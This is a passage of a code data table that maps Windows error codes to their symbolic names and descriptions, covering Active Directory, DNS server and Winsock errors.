0x00002186: ("ERROR_DS_MODIFYDN_WRONG_GRANDPARENT", "This object is not allowed to change its grandparent container. Moves are not forbidden on this object, but are restricted to sibling containers."),
0x00002187: ("ERROR_DS_NAME_ERROR_TRUST_REFERRAL", "Unable to resolve completely, a referral to another forest is generated."),
0x00002188: ("ERROR_NOT_SUPPORTED_ON_STANDARD_SERVER", "The requested action is not supported on standard server."),
0x00002189: ("ERROR_DS_CANT_ACCESS_REMOTE_PART_OF_AD", "Could not access a partition of the directory service located on a remote server. Make sure at least one server is running for the partition in question."),
0x0000218a: ("ERROR_DS_CR_IMPOSSIBLE_TO_VALIDATE_V2", "The directory cannot validate the proposed naming context (or partition) name because it does not hold a replica nor can it contact a replica of the naming context above the proposed naming context. Please ensure that the parent naming context is properly registered in DNS, and at least one replica of this naming context is reachable by the Domain Naming master."),
0x0000218b: ("ERROR_DS_THREAD_LIMIT_EXCEEDED", "The thread limit for this request was exceeded."),
0x0000218c: ("ERROR_DS_NOT_CLOSEST", "The Global catalog server is not in the closest site."),
0x0000218d: ("ERROR_DS_CANT_DERIVE_SPN_WITHOUT_SERVER_REF", "The DS cannot derive a service principal name (SPN) with which to mutually authenticate the target server because the corresponding server object in the local DS database has no serverReference attribute."),
0x0000218e: ("ERROR_DS_SINGLE_USER_MODE_FAILED", "The Directory Service failed to enter single user mode."),
0x0000218f: ("ERROR_DS_NTDSCRIPT_SYNTAX_ERROR", "The Directory Service cannot parse the script because of a syntax error."),
0x00002190: ("ERROR_DS_NTDSCRIPT_PROCESS_ERROR", "The Directory Service cannot process the script because of an error."),
0x00002191: ("ERROR_DS_DIFFERENT_REPL_EPOCHS", "The directory service cannot perform the requested operation because the servers involved are of different replication epochs (which is usually related to a domain rename that is in progress)."),
0x00002192: ("ERROR_DS_DRS_EXTENSIONS_CHANGED", "The directory service binding must be renegotiated due to a change in the server extensions information."),
0x00002193: ("ERROR_DS_REPLICA_SET_CHANGE_NOT_ALLOWED_ON_DISABLED_CR", "Operation not allowed on a disabled cross ref."),
0x00002194: ("ERROR_DS_NO_MSDS_INTID", "Schema update failed: No values for msDS-IntId are available."),
0x00002195: ("ERROR_DS_DUP_MSDS_INTID", "Schema update failed: Duplicate msDS-INtId. Retry the operation."),
0x00002196: ("ERROR_DS_EXISTS_IN_RDNATTID", "Schema deletion failed: attribute is used in rDNAttID."),
0x00002197: ("ERROR_DS_AUTHORIZATION_FAILED", "The directory service failed to authorize the request."),
0x00002198: ("ERROR_DS_INVALID_SCRIPT", "The Directory Service cannot process the script because it is invalid."),
0x00002199: ("ERROR_DS_REMOTE_CROSSREF_OP_FAILED", "The remote create cross reference operation failed on the Domain Naming Master FSMO. The operation's error is in the extended data."),
0x0000219a: ("ERROR_DS_CROSS_REF_BUSY", "A cross reference is in use locally with the same name."),
0x0000219b: ("ERROR_DS_CANT_DERIVE_SPN_FOR_DELETED_DOMAIN", "The DS cannot derive a service principal name (SPN) with which to mutually authenticate the target server because the server's domain has been deleted from the forest."),
0x0000219c: ("ERROR_DS_CANT_DEMOTE_WITH_WRITEABLE_NC", "Writeable NCs prevent this DC from demoting."),
0x0000219d: ("ERROR_DS_DUPLICATE_ID_FOUND", "The requested object has a non-unique identifier and cannot be retrieved."),
0x0000219e: ("ERROR_DS_INSUFFICIENT_ATTR_TO_CREATE_OBJECT", "Insufficient attributes were given to create an object. This object may not exist because it may have been deleted and already garbage collected."),
0x0000219f: ("ERROR_DS_GROUP_CONVERSION_ERROR", "The group cannot be converted due to attribute restrictions on the requested group type."),
0x000021a0: ("ERROR_DS_CANT_MOVE_APP_BASIC_GROUP", "Cross-domain move of non-empty basic application groups is not allowed."),
0x000021a1: ("ERROR_DS_CANT_MOVE_APP_QUERY_GROUP", "Cross-domain move of non-empty query based application groups is not allowed."),
0x000021a2: ("ERROR_DS_ROLE_NOT_VERIFIED", "The FSMO role ownership could not be verified because its directory partition has not replicated successfully with at least one replication partner."),
0x000021a3: ("ERROR_DS_WKO_CONTAINER_CANNOT_BE_SPECIAL", "The target container for a redirection of a well known object container cannot already be a special container."),
0x000021a4: ("ERROR_DS_DOMAIN_RENAME_IN_PROGRESS", "The Directory Service cannot perform the requested operation because a domain rename operation is in progress."),
0x000021a5: ("ERROR_DS_EXISTING_AD_CHILD_NC", "The directory service detected a child partition below the requested partition name. The partition hierarchy must be created in a top down method."),
0x000021a6: ("ERROR_DS_REPL_LIFETIME_EXCEEDED", "The directory service cannot replicate with this server because the time since the last replication with this server has exceeded the tombstone lifetime."),
0x000021a7: ("ERROR_DS_DISALLOWED_IN_SYSTEM_CONTAINER", "The requested operation is not allowed on an object under the system container."),
0x000021a8: ("ERROR_DS_LDAP_SEND_QUEUE_FULL", "The LDAP servers network send queue has filled up because the client is not processing the results of its requests fast enough. No more requests will be processed until the client catches up. If the client does not catch up then it will be disconnected."),
0x000021a9: ("ERROR_DS_DRA_OUT_SCHEDULE_WINDOW", "The scheduled replication did not take place because the system was too busy to execute the request within the schedule window. The replication queue is overloaded. Consider reducing the number of partners or decreasing the scheduled replication frequency."),
0x000021aa: ("ERROR_DS_POLICY_NOT_KNOWN", "At this time, it cannot be determined if the branch replication policy is available on the hub domain controller. Please retry at a later time to account for replication latencies."),
0x000021ab: ("ERROR_NO_SITE_SETTINGS_OBJECT", "The site settings object for the specified site does not exist."),
0x000021ac: ("ERROR_NO_SECRETS", "The local account store does not contain secret material for the specified account."),
0x000021ad: ("ERROR_NO_WRITABLE_DC_FOUND", "Could not find a writable domain controller in the domain."),
0x000021ae: ("ERROR_DS_NO_SERVER_OBJECT", "The server object for the domain controller does not exist."),
0x000021af: ("ERROR_DS_NO_NTDSA_OBJECT", "The NTDS Settings object for the domain controller does not exist."),
0x000021b0: ("ERROR_DS_NON_ASQ_SEARCH", "The requested search operation is not supported for ASQ searches."),
0x000021b1: ("ERROR_DS_AUDIT_FAILURE", "A required audit event could not be generated for the operation."),
0x000021b2: ("ERROR_DS_INVALID_SEARCH_FLAG_SUBTREE", "The search flags for the attribute are invalid. The subtree index bit is valid only on single valued attributes."),
0x000021b3: ("ERROR_DS_INVALID_SEARCH_FLAG_TUPLE", "The search flags for the attribute are invalid. The tuple index bit is valid only on attributes of Unicode strings."),
0x000021b4: ("ERROR_DS_HIERARCHY_TABLE_TOO_DEEP", "The address books are nested too deeply. Failed to build the hierarchy table."),
0x000021b5: ("ERROR_DS_DRA_CORRUPT_UTD_VECTOR", "The specified up-to-date-ness vector is corrupt."),
0x000021b6: ("ERROR_DS_DRA_SECRETS_DENIED", "The request to replicate secrets is denied."),
0x000021b7: ("ERROR_DS_RESERVED_MAPI_ID", "Schema update failed: The MAPI identifier is reserved."),
0x000021b8: ("ERROR_DS_MAPI_ID_NOT_AVAILABLE", "Schema update failed: There are no MAPI identifiers available."),
0x000021b9: ("ERROR_DS_DRA_MISSING_KRBTGT_SECRET", "The replication operation failed because the required attributes of the local krbtgt object are missing."),
0x000021ba: ("ERROR_DS_DOMAIN_NAME_EXISTS_IN_FOREST", "The domain name of the trusted domain already exists in the forest."),
0x000021bb: ("ERROR_DS_FLAT_NAME_EXISTS_IN_FOREST", "The flat name of the trusted domain already exists in the forest."),
0x000021bc: ("ERROR_INVALID_USER_PRINCIPAL_NAME", "The User Principal Name (UPN) is invalid."),
0x000021bd: ("ERROR_DS_OID_MAPPED_GROUP_CANT_HAVE_MEMBERS", "OID mapped groups cannot have members."),
0x000021be: ("ERROR_DS_OID_NOT_FOUND", "The specified OID cannot be found."),
0x000021bf: ("ERROR_DS_DRA_RECYCLED_TARGET", "The replication operation failed because the target object referred by a link value is recycled."),
0x000021c0: ("ERROR_DS_DISALLOWED_NC_REDIRECT", "The redirect operation failed because the target object is in a NC different from the domain NC of the current domain controller."),
0x000021c1: ("ERROR_DS_HIGH_ADLDS_FFL", "The functional level of the AD LDS configuration set cannot be lowered to the requested value."),
0x000021c2: ("ERROR_DS_HIGH_DSA_VERSION", "The functional level of the domain (or forest) cannot be lowered to the requested value."),
0x000021c3: ("ERROR_DS_LOW_ADLDS_FFL", "The functional level of the AD LDS configuration set cannot be raised to the requested value, because there exist one or more ADLDS instances that are at a lower incompatible functional level."),
0x000021c4: ("ERROR_DOMAIN_SID_SAME_AS_LOCAL_WORKSTATION", "The domain join cannot be completed because the SID of the domain you attempted to join was identical to the SID of this machine. This is a symptom of an improperly cloned operating system install. You should run sysprep on this machine in order to generate a new machine SID. Please see http://go.microsoft.com/fwlink/?LinkId=168895 for more information."),
0x000021c5: ("ERROR_DS_UNDELETE_SAM_VALIDATION_FAILED", "The undelete operation failed because the Sam Account Name or Additional Sam Account Name of the object being undeleted conflicts with an existing live object."),
0x000021c6: ("ERROR_INCORRECT_ACCOUNT_TYPE", "The system is not authoritative for the specified account and therefore cannot complete the operation. Please retry the operation using the provider associated with this account. If this is an online provider please use the provider's online site."),
0x00002329: ("DNS_ERROR_RCODE_FORMAT_ERROR", "DNS server unable to interpret format."),
0x0000232a: ("DNS_ERROR_RCODE_SERVER_FAILURE", "DNS server failure."),
0x0000232b: ("DNS_ERROR_RCODE_NAME_ERROR", "DNS name does not exist."),
0x0000232c: ("DNS_ERROR_RCODE_NOT_IMPLEMENTED", "DNS request not supported by name server."),
0x0000232d: ("DNS_ERROR_RCODE_REFUSED", "DNS operation refused."),
0x0000232e: ("DNS_ERROR_RCODE_YXDOMAIN", "DNS name that ought not exist, does exist."),
0x0000232f: ("DNS_ERROR_RCODE_YXRRSET", "DNS RR set that ought not exist, does exist."),
0x00002330: ("DNS_ERROR_RCODE_NXRRSET", "DNS RR set that ought to exist, does not exist."),
0x00002331: ("DNS_ERROR_RCODE_NOTAUTH", "DNS server not authoritative for zone."),
0x00002332: ("DNS_ERROR_RCODE_NOTZONE", "DNS name in update or prereq is not in zone."),
0x00002338: ("DNS_ERROR_RCODE_BADSIG", "DNS signature failed to verify."),
0x00002339: ("DNS_ERROR_RCODE_BADKEY", "DNS bad key."),
0x0000233a: ("DNS_ERROR_RCODE_BADTIME", "DNS signature validity expired."),
0x0000238d: ("DNS_ERROR_KEYMASTER_REQUIRED", "Only the DNS server acting as the key master for the zone may perform this operation."),
0x0000238e: ("DNS_ERROR_NOT_ALLOWED_ON_SIGNED_ZONE", "This operation is not allowed on a zone that is signed or has signing keys."),
0x0000238f: ("DNS_ERROR_NSEC3_INCOMPATIBLE_WITH_RSA_SHA1", "NSEC3 is not compatible with the RSA-SHA-1 algorithm. Choose a different algorithm or use NSEC."),
0x00002390: ("DNS_ERROR_NOT_ENOUGH_SIGNING_KEY_DESCRIPTORS", "The zone does not have enough signing keys. There must be at least one key signing key (KSK) and at least one zone signing key (ZSK)."),
0x00002391: ("DNS_ERROR_UNSUPPORTED_ALGORITHM", "The specified algorithm is not supported."),
0x00002392: ("DNS_ERROR_INVALID_KEY_SIZE", "The specified key size is not supported."),
0x00002393: ("DNS_ERROR_SIGNING_KEY_NOT_ACCESSIBLE", "One or more of the signing keys for a zone are not accessible to the DNS server. Zone signing will not be operational until this error is resolved."),
0x00002394: ("DNS_ERROR_KSP_DOES_NOT_SUPPORT_PROTECTION", "The specified key storage provider does not support DPAPI++ data protection. Zone signing will not be operational until this error is resolved."),
0x00002395: ("DNS_ERROR_UNEXPECTED_DATA_PROTECTION_ERROR", "An unexpected DPAPI++ error was encountered. Zone signing will not be operational until this error is resolved."),
0x00002396: ("DNS_ERROR_UNEXPECTED_CNG_ERROR", "An unexpected crypto error was encountered. Zone signing may not be operational until this error is resolved."),
0x00002397: ("DNS_ERROR_UNKNOWN_SIGNING_PARAMETER_VERSION", "The DNS server encountered a signing key with an unknown version. Zone signing will not be operational until this error is resolved."),
0x00002398: ("DNS_ERROR_KSP_NOT_ACCESSIBLE", "The specified key service provider cannot be opened by the DNS server."),
0x00002399: ("DNS_ERROR_TOO_MANY_SKDS", "The DNS server cannot accept any more signing keys with the specified algorithm and KSK flag value for this zone."),
0x0000239a: ("DNS_ERROR_INVALID_ROLLOVER_PERIOD", "The specified rollover period is invalid."),
0x0000239b: ("DNS_ERROR_INVALID_INITIAL_ROLLOVER_OFFSET", "The specified initial rollover offset is invalid."),
0x0000239c: ("DNS_ERROR_ROLLOVER_IN_PROGRESS", "The specified signing key is already in process of rolling over keys."),
0x0000239d: ("DNS_ERROR_STANDBY_KEY_NOT_PRESENT", "The specified signing key does not have a standby key to revoke."),
0x0000239e: ("DNS_ERROR_NOT_ALLOWED_ON_ZSK", "This operation is not allowed on a zone signing key (ZSK)."),
0x0000239f: ("DNS_ERROR_NOT_ALLOWED_ON_ACTIVE_SKD", "This operation is not allowed on an active signing key."),
0x000023a0: ("DNS_ERROR_ROLLOVER_ALREADY_QUEUED", "The specified signing key is already queued for rollover."),
0x000023a1: ("DNS_ERROR_NOT_ALLOWED_ON_UNSIGNED_ZONE", "This operation is not allowed on an unsigned zone."),
0x000023a2: ("DNS_ERROR_BAD_KEYMASTER", "This operation could not be completed because the DNS server listed as the current key master for this zone is down or misconfigured. Resolve the problem on the current key master for this zone or use another DNS server to seize the key master role."),
0x000023a3: ("DNS_ERROR_INVALID_SIGNATURE_VALIDITY_PERIOD", "The specified signature validity period is invalid."),
0x000023a4: ("DNS_ERROR_INVALID_NSEC3_ITERATION_COUNT", "The specified NSEC3 iteration count is higher than allowed by the minimum key length used in the zone."),
0x000023a5: ("DNS_ERROR_DNSSEC_IS_DISABLED", "This operation could not be completed because the DNS server has been configured with DNSSEC features disabled. Enable DNSSEC on the DNS server."),
0x000023a6: ("DNS_ERROR_INVALID_XML", "This operation could not be completed because the XML stream received is empty or syntactically invalid."),
0x000023a7: ("DNS_ERROR_NO_VALID_TRUST_ANCHORS", "This operation completed, but no trust anchors were added because all of the trust anchors received were either invalid, unsupported, expired, or would not become valid in less than 30 days."),
0x000023a8: ("DNS_ERROR_ROLLOVER_NOT_POKEABLE", "The specified signing key is not waiting for parental DS update."),
0x000023a9: ("DNS_ERROR_NSEC3_NAME_COLLISION", "Hash collision detected during NSEC3 signing. Specify a different user-provided salt, or use a randomly generated salt, and attempt to sign the zone again."),
0x000023aa: ("DNS_ERROR_NSEC_INCOMPATIBLE_WITH_NSEC3_RSA_SHA1", "NSEC is not compatible with the NSEC3-RSA-SHA-1 algorithm. Choose a different algorithm or use NSEC3."),
0x0000251d: ("DNS_INFO_NO_RECORDS", "No records found for given DNS query."),
0x0000251e: ("DNS_ERROR_BAD_PACKET", "Bad DNS packet."),
0x0000251f: ("DNS_ERROR_NO_PACKET", "No DNS packet."),
0x00002520: ("DNS_ERROR_RCODE", "DNS error, check rcode."),
0x00002521: ("DNS_ERROR_UNSECURE_PACKET", "Unsecured DNS packet."),
0x00002522: ("DNS_REQUEST_PENDING", "DNS query request is pending."),
0x0000254f: ("DNS_ERROR_INVALID_TYPE", "Invalid DNS type."),
0x00002550: ("DNS_ERROR_INVALID_IP_ADDRESS", "Invalid IP address."),
0x00002551: ("DNS_ERROR_INVALID_PROPERTY", "Invalid property."),
0x00002552: ("DNS_ERROR_TRY_AGAIN_LATER", "Try DNS operation again later."),
0x00002553: ("DNS_ERROR_NOT_UNIQUE", "Record for given name and type is not unique."),
0x00002554: ("DNS_ERROR_NON_RFC_NAME", "DNS name does not comply with RFC specifications."),
0x00002555: ("DNS_STATUS_FQDN", "DNS name is a fully-qualified DNS name."),
0x00002556: ("DNS_STATUS_DOTTED_NAME", "DNS name is dotted (multi-label)."),
0x00002557: ("DNS_STATUS_SINGLE_PART_NAME", "DNS name is a single-part name."),
0x00002558: ("DNS_ERROR_INVALID_NAME_CHAR", "DNS name contains an invalid character."),
0x00002559: ("DNS_ERROR_NUMERIC_NAME", "DNS name is entirely numeric."),
0x0000255a: ("DNS_ERROR_NOT_ALLOWED_ON_ROOT_SERVER", "The operation requested is not permitted on a DNS root server."),
0x0000255b: ("DNS_ERROR_NOT_ALLOWED_UNDER_DELEGATION", "The record could not be created because this part of the DNS namespace has been delegated to another server."),
0x0000255c: ("DNS_ERROR_CANNOT_FIND_ROOT_HINTS", "The DNS server could not find a set of root hints."),
0x0000255d: ("DNS_ERROR_INCONSISTENT_ROOT_HINTS", "The DNS server found root hints but they were not consistent across all adapters."),
0x0000255e: ("DNS_ERROR_DWORD_VALUE_TOO_SMALL", "The specified value is too small for this parameter."),
0x0000255f: ("DNS_ERROR_DWORD_VALUE_TOO_LARGE", "The specified value is too large for this parameter."),
0x00002560: ("DNS_ERROR_BACKGROUND_LOADING", "This operation is not allowed while the DNS server is loading zones in the background. Please try again later."),
0x00002561: ("DNS_ERROR_NOT_ALLOWED_ON_RODC", "The operation requested is not permitted on against a DNS server running on a read-only DC."),
0x00002562: ("DNS_ERROR_NOT_ALLOWED_UNDER_DNAME", "No data is allowed to exist underneath a DNAME record."),
0x00002563: ("DNS_ERROR_DELEGATION_REQUIRED", "This operation requires credentials delegation."),
0x00002564: ("DNS_ERROR_INVALID_POLICY_TABLE", "Name resolution policy table has been corrupted. DNS resolution will fail until it is fixed. Contact your network administrator."),
0x00002581: ("DNS_ERROR_ZONE_DOES_NOT_EXIST", "DNS zone does not exist."),
0x00002582: ("DNS_ERROR_NO_ZONE_INFO", "DNS zone information not available."),
0x00002583: ("DNS_ERROR_INVALID_ZONE_OPERATION", "Invalid operation for DNS zone."),
0x00002584: ("DNS_ERROR_ZONE_CONFIGURATION_ERROR", "Invalid DNS zone configuration."),
0x00002585: ("DNS_ERROR_ZONE_HAS_NO_SOA_RECORD", "DNS zone has no start of authority (SOA) record."),
0x00002586: ("DNS_ERROR_ZONE_HAS_NO_NS_RECORDS", "DNS zone has no Name Server (NS) record."),
0x00002587: ("DNS_ERROR_ZONE_LOCKED", "DNS zone is locked."),
0x00002588: ("DNS_ERROR_ZONE_CREATION_FAILED", "DNS zone creation failed."),
0x00002589: ("DNS_ERROR_ZONE_ALREADY_EXISTS", "DNS zone already exists."),
0x0000258a: ("DNS_ERROR_AUTOZONE_ALREADY_EXISTS", "DNS automatic zone already exists."),
0x0000258b: ("DNS_ERROR_INVALID_ZONE_TYPE", "Invalid DNS zone type."),
0x0000258c: ("DNS_ERROR_SECONDARY_REQUIRES_MASTER_IP", "Secondary DNS zone requires master IP address."),
0x0000258d: ("DNS_ERROR_ZONE_NOT_SECONDARY", "DNS zone not secondary."),
0x0000258e: ("DNS_ERROR_NEED_SECONDARY_ADDRESSES", "Need secondary IP address."),
0x0000258f: ("DNS_ERROR_WINS_INIT_FAILED", "WINS initialization failed."),
0x00002590: ("DNS_ERROR_NEED_WINS_SERVERS", "Need WINS servers."),
0x00002591: ("DNS_ERROR_NBSTAT_INIT_FAILED", "NBTSTAT initialization call failed."),
0x00002592: ("DNS_ERROR_SOA_DELETE_INVALID", "Invalid delete of start of authority (SOA)"),
0x00002593: ("DNS_ERROR_FORWARDER_ALREADY_EXISTS", "A conditional forwarding zone already exists for that name."),
0x00002594: ("DNS_ERROR_ZONE_REQUIRES_MASTER_IP", "This zone must be configured with one or more master DNS server IP addresses."),
0x00002595: ("DNS_ERROR_ZONE_IS_SHUTDOWN", "The operation cannot be performed because this zone is shut down."),
0x00002596: ("DNS_ERROR_ZONE_LOCKED_FOR_SIGNING", "This operation cannot be performed because the zone is currently being signed. Please try again later."),
0x000025b3: ("DNS_ERROR_PRIMARY_REQUIRES_DATAFILE", "Primary DNS zone requires datafile."),
0x000025b4: ("DNS_ERROR_INVALID_DATAFILE_NAME", "Invalid datafile name for DNS zone."),
0x000025b5: ("DNS_ERROR_DATAFILE_OPEN_FAILURE", "Failed to open datafile for DNS zone."),
0x000025b6: ("DNS_ERROR_FILE_WRITEBACK_FAILED", "Failed to write datafile for DNS zone."),
0x000025b7: ("DNS_ERROR_DATAFILE_PARSING", "Failure while reading datafile for DNS zone."),
0x000025e5: ("DNS_ERROR_RECORD_DOES_NOT_EXIST", "DNS record does not exist."),
0x000025e6: ("DNS_ERROR_RECORD_FORMAT", "DNS record format error."),
0x000025e7: ("DNS_ERROR_NODE_CREATION_FAILED", "Node creation failure in DNS."),
0x000025e8: ("DNS_ERROR_UNKNOWN_RECORD_TYPE", "Unknown DNS record type."),
0x000025e9: ("DNS_ERROR_RECORD_TIMED_OUT", "DNS record timed out."),
0x000025ea: ("DNS_ERROR_NAME_NOT_IN_ZONE", "Name not in DNS zone."),
0x000025eb: ("DNS_ERROR_CNAME_LOOP", "CNAME loop detected."),
0x000025ec: ("DNS_ERROR_NODE_IS_CNAME", "Node is a CNAME DNS record."),
0x000025ed: ("DNS_ERROR_CNAME_COLLISION", "A CNAME record already exists for given name."),
0x000025ee: ("DNS_ERROR_RECORD_ONLY_AT_ZONE_ROOT", "Record only at DNS zone root."),
0x000025ef: ("DNS_ERROR_RECORD_ALREADY_EXISTS", "DNS record already exists."),
0x000025f0: ("DNS_ERROR_SECONDARY_DATA", "Secondary DNS zone data error."),
0x000025f1: ("DNS_ERROR_NO_CREATE_CACHE_DATA", "Could not create DNS cache data."),
0x000025f2: ("DNS_ERROR_NAME_DOES_NOT_EXIST", "DNS name does not exist."),
0x000025f3: ("DNS_WARNING_PTR_CREATE_FAILED", "Could not create pointer (PTR) record."),
0x000025f4: ("DNS_WARNING_DOMAIN_UNDELETED", "DNS domain was undeleted."),
0x000025f5: ("DNS_ERROR_DS_UNAVAILABLE", "The directory service is unavailable."),
0x000025f6: ("DNS_ERROR_DS_ZONE_ALREADY_EXISTS", "DNS zone already exists in the directory service."),
0x000025f7: ("DNS_ERROR_NO_BOOTFILE_IF_DS_ZONE", "DNS server not creating or reading the boot file for the directory service integrated DNS zone."),
0x000025f8: ("DNS_ERROR_NODE_IS_DNAME", "Node is a DNAME DNS record."),
0x000025f9: ("DNS_ERROR_DNAME_COLLISION", "A DNAME record already exists for given name."),
0x000025fa: ("DNS_ERROR_ALIAS_LOOP", "An alias loop has been detected with either CNAME or DNAME records."),
0x00002617: ("DNS_INFO_AXFR_COMPLETE", "DNS AXFR (zone transfer) complete."),
0x00002618: ("DNS_ERROR_AXFR", "DNS zone transfer failed."),
0x00002619: ("DNS_INFO_ADDED_LOCAL_WINS", "Added local WINS server."),
0x00002649: ("DNS_STATUS_CONTINUE_NEEDED", "Secure update call needs to continue update request."),
0x0000267b: ("DNS_ERROR_NO_TCPIP", "TCP/IP network protocol not installed."),
0x0000267c: ("DNS_ERROR_NO_DNS_SERVERS", "No DNS servers configured for local system."),
0x000026ad: ("DNS_ERROR_DP_DOES_NOT_EXIST", "The specified directory partition does not exist."),
0x000026ae: ("DNS_ERROR_DP_ALREADY_EXISTS", "The specified directory partition already exists."),
0x000026af: ("DNS_ERROR_DP_NOT_ENLISTED", "This DNS server is not enlisted in the specified directory partition."),
0x000026b0: ("DNS_ERROR_DP_ALREADY_ENLISTED", "This DNS server is already enlisted in the specified directory partition."),
0x000026b1: ("DNS_ERROR_DP_NOT_AVAILABLE", "The directory partition is not available at this time. Please wait a few minutes and try again."),
0x000026b2: ("DNS_ERROR_DP_FSMO_ERROR", "The operation failed because the domain naming master FSMO role could not be reached. The domain controller holding the domain naming master FSMO role is down or unable to service the request or is not running Windows Server 2003 or later."),
0x00002714: ("WSAEINTR", "A blocking operation was interrupted by a call to WSACancelBlockingCall."),
0x00002719: ("WSAEBADF", "The file handle supplied is not valid."),
0x0000271d: ("WSAEACCES", "An attempt was made to access a socket in a way forbidden by its access permissions."),
0x0000271e: ("WSAEFAULT", "The system detected an invalid pointer address in attempting to use a pointer argument in a call."),
0x00002726: ("WSAEINVAL", "An invalid argument was supplied."),
0x00002728: ("WSAEMFILE", "Too many open sockets."),
0x00002733: ("WSAEWOULDBLOCK", "A non-blocking socket operation could not be completed immediately."),
0x00002734: ("WSAEINPROGRESS", "A blocking operation is currently executing."),
0x00002735: ("WSAEALREADY", "An operation was attempted on a non-blocking socket that already had an operation in progress."),
0x00002736: ("WSAENOTSOCK", "An operation was attempted on something that is not a socket."),
0x00002737: ("WSAEDESTADDRREQ", "A required address was omitted from an operation on a socket."),
0x00002738: ("WSAEMSGSIZE", "A message sent on a datagram socket was larger than the internal message buffer or some other network limit, or the buffer used to receive a datagram into was smaller than the datagram itself."),
0x00002739: ("WSAEPROTOTYPE", "A protocol was specified in the socket function call that does not support the semantics of the socket type requested."),
0x0000273a: ("WSAENOPROTOOPT", "An unknown, invalid, or unsupported option or level was specified in a getsockopt or setsockopt call."),
0x0000273b: ("WSAEPROTONOSUPPORT", "The requested protocol has not been configured into the system, or no implementation for it exists."),
0x0000273c: ("WSAESOCKTNOSUPPORT", "The support for the specified socket type does not exist in this address family."),
0x0000273d: ("WSAEOPNOTSUPP", "The attempted operation is not supported for the type of object referenced."),
0x0000273e: ("WSAEPFNOSUPPORT", "The protocol family has not been configured into the system or no implementation for it exists."),
0x0000273f: ("WSAEAFNOSUPPORT", "An address incompatible with the requested protocol was used."),
0x00002740: ("WSAEADDRINUSE", "Only one usage of each socket address (protocol/network address/port) is normally permitted."),
0x00002741: ("WSAEADDRNOTAVAIL", "The requested address is not valid in its context."),
0x00002742: ("WSAENETDOWN", "A socket operation encountered a dead network."),
0x00002743: ("WSAENETUNREACH", "A socket operation was attempted to an unreachable network."),
0x00002744: ("WSAENETRESET", "The connection has been broken due to keep-alive activity detecting a failure while the operation was in progress."),
0x00002745: ("WSAECONNABORTED", "An established connection was aborted by the software in your host machine."),
0x00002746: ("WSAECONNRESET", "An existing connection was forcibly closed by the remote host."),
0x00002747: ("WSAENOBUFS", "An operation on a socket could not be performed because the system lacked sufficient buffer space or because a queue was full."),
0x00002748: ("WSAEISCONN", "A connect request was made on an already connected socket."),
0x00002749: ("WSAENOTCONN", "A request to send or receive data was disallowed because the socket is not connected and (when sending on a datagram socket using a sendto call) no address was supplied."),
0x0000274a: ("WSAESHUTDOWN", "A request to send or receive data was disallowed because the socket had already been shut down in that direction with a previous shutdown call."),
0x0000274b: ("WSAETOOMANYREFS", "Too many references to some kernel object."),
0x0000274c: ("WSAETIMEDOUT", "A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond."),
0x0000274d: ("WSAECONNREFUSED", "No connection could be made because the target machine actively refused it."),
0x0000274e: ("WSAELOOP", "Cannot translate name."),
0x0000274f: ("WSAENAMETOOLONG", "Name component or name was too long."),
0x00002750: ("WSAEHOSTDOWN", "A socket operation failed because the destination host was down."),
0x00002751: ("WSAEHOSTUNREACH", "A socket operation was attempted to an unreachable host."),
0x00002752: ("WSAENOTEMPTY", "Cannot remove a directory that is not empty."),
0x00002753: ("WSAEPROCLIM", "A Windows Sockets implementation may have a limit on the number of applications that may use it simultaneously."),
0x00002754: ("WSAEUSERS", "Ran out of quota."),
0x00002755: ("WSAEDQUOT", "Ran out of disk quota."),
0x00002756: ("WSAESTALE", "File handle reference is no longer available."),
0x00002757: ("WSAEREMOTE", "Item is not available locally."),
0x0000276b: ("WSASYSNOTREADY", "WSAStartup cannot function at this time because the underlying system it uses to provide network services is currently unavailable."),
0x0000276c: ("WSAVERNOTSUPPORTED", "The Windows Sockets version requested is not supported."),
0x0000276d: ("WSANOTINITIALISED", "Either the application has not called WSAStartup, or WSAStartup failed."),
0x00002775: ("WSAEDISCON", "Returned by WSARecv or WSARecvFrom to indicate the remote party has initiated a graceful shutdown sequence."),
0x00002776: ("WSAENOMORE", "No more results can be returned by WSALookupServiceNext."),
0x00002777: ("WSAECANCELLED", "A call to WSALookupServiceEnd was made while this call was still processing. The call has been canceled."),
0x00002778: ("WSAEINVALIDPROCTABLE", "The procedure call table is invalid."),
0x00002779: ("WSAEINVALIDPROVIDER", "The requested service provider is invalid."),
0x0000277a: ("WSAEPROVIDERFAILEDINIT", "The requested service provider could not be loaded or initialized."),
0x0000277b: ("WSASYSCALLFAILURE", "A system call has failed."),
0x0000277c: ("WSASERVICE_NOT_FOUND", "No such service is known. The service cannot be found in the specified name space."),
0x0000277d: ("WSATYPE_NOT_FOUND", "The specified class was not found."),
0x0000277e: ("WSA_E_NO_MORE", "No more results can be returned by WSALookupServiceNext."),
0x0000277f: ("WSA_E_CANCELLED", "A call to WSALookupServiceEnd was made while this call was still processing. The call has been canceled."),
0x00002780: ("WSAEREFUSED", "A database query failed because it was actively refused."),
0x00002af9: ("WSAHOST_NOT_FOUND", "No such host is known."),
0x00002afa: ("WSATRY_AGAIN", "This is usually a temporary error during hostname resolution and means that the local server did not receive a response from an authoritative server."),
0x00002afb: ("WSANO_RECOVERY", "A non-recoverable error occurred during a database lookup."),
0x00002afc: ("WSANO_DATA", "The requested name is valid, but no data of the requested type was found."),
0x00002afd: ("WSA_QOS_RECEIVERS", "At least one reserve has arrived."),
0x00002afe: ("WSA_QOS_SENDERS", "At least one path has arrived."),
0x00002aff: ("WSA_QOS_NO_SENDERS", "There are no senders."),
0x00002b00: ("WSA_QOS_NO_RECEIVERS", "There are no receivers."),
0x00002b01: ("WSA_QOS_REQUEST_CONFIRMED", "Reserve has been confirmed."),
0x00002b02: ("WSA_QOS_ADMISSION_FAILURE", "Error due to lack of resources."),
0x00002b03: ("WSA_QOS_POLICY_FAILURE", "Rejected for administrative reasons - bad credentials."),
0x00002b04: ("WSA_QOS_BAD_STYLE", "Unknown or conflicting style."),
0x00002b05: ("WSA_QOS_BAD_OBJECT", "Problem with some part of the filterspec or providerspecific buffer in general."),
0x00002b06: ("WSA_QOS_TRAFFIC_CTRL_ERROR", "Problem with some part of the flowspec."),
0x00002b07: ("WSA_QOS_GENERIC_ERROR", "General QOS error."),
0x00002b08: ("WSA_QOS_ESERVICETYPE", "An invalid or unrecognized service type was found in the flowspec."),
0x00002b09: ("WSA_QOS_EFLOWSPEC", "An invalid or inconsistent flowspec was found in the QOS structure."),
0x00002b0a: ("WSA_QOS_EPROVSPECBUF", "Invalid QOS provider-specific buffer."),
